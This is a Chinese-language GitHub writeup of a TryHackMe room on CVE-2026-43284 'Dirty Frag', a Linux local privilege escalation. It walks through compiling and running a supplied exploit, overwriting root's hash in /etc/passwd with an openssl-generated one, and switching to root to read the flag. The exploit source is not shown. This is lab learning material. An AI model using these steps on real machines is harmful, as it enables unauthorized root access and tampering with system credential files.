RevyHub/CVE-2026-43284---DirtyFrag-Analysis-THM-
GitHub: RevyHub/CVE-2026-43284---DirtyFrag-Analysis-THM-
该文档是一篇 TryHackMe Dirty Frag(CVE-2026-43284)Linux 本地提权房间的完整通关 writeup,详细记录了漏洞利用与提权的全过程。
Stars: 1 | Forks: 0
# TryHackMe — CVE-2026-43284: Dirty Frag
**房间:** [CVE-2026-43284: Dirty Frag](https://tryhackme.com/room/cve202643284)
**分类:** Linux 提权
**作者:** *([我的主页](https://tryhackme.com/p/RevyHub?tab=completed-rooms))*
## 概述
Dirty Frag 是一个围绕 CVE-2026-43284 构建的链式 Linux 本地提权 (LPE) 房间。目标是通过利用提供的概念验证 exploit,从非特权 shell 提权至 root。
## 初始枚举
列出工作目录会显示为该 exploit 提供的文件:
```
$ ls
README.txt
exp
exp.c
```
- `exp.c` — exploit 源代码
- `exp` — 预编译的二进制文件(可能与目标环境不匹配)
- `README.txt` — 随 exploit 提供的使用说明
## 构建 Exploit
由于提供的 `exp` 二进制文件可能与目标的实际环境不兼容,从源码重新构建会更安全:
```
$ gcc -O0 -Wall -o exp exp.c -lutil
```
- `-O0` 禁用编译器优化,保持行为可预测并与源码匹配
- `-Wall` 启用编译器警告,有助于检查构建是否正常
- `-lutil` 链接 `libutil` — 当代码使用伪终端 (pty) 函数时通常需要它
## 触发漏洞
```
$ ./exp
```
运行编译后的 exploit 会触发底层缺陷,从而获得对通常只对非特权用户只读的文件的写入权限 — 在本例中,即 `/etc/passwd`。
## 提权至 Root
获得写入权限后,为 `root` 生成一个新的密码 hash:
```
$ openssl passwd -1 root
$1$igIXG8so$6K9OaEbAaj.qaknYx9ST..
```
此 hash 将被写入 `/etc/passwd`,替换 root 现有的 hash 字段:
```
$ nano /etc/passwd
```
现在知道了 root 的密码,切换用户就很简单了:
```
$ su root
```
## 获取 Flag
```
$ cat /root/flag.txt
THM{REDACTED}
```
## 经验总结
- *(最初花了 30 多分钟才大致理解,但一旦我明白了,我就可以多次重复执行相同的 exploit)*
- *(内部的 root 代码很奇怪,你无法选择和使用基础控制,所以你只能使用方向键导航到 root:x:,并将 X 更改为你创建的 hash)*
## 缓解措施
- 保持 kernel/system 软件包处于已修补和最新状态
*本 writeup 出于教育目的记录了一个已完成的 TryHackMe 房间。目标环境是由 TryHackMe 提供的故意存在漏洞的机器。*
标签:Web报告查看器, Writeup, 协议分析, 安全测试工具, 权限提升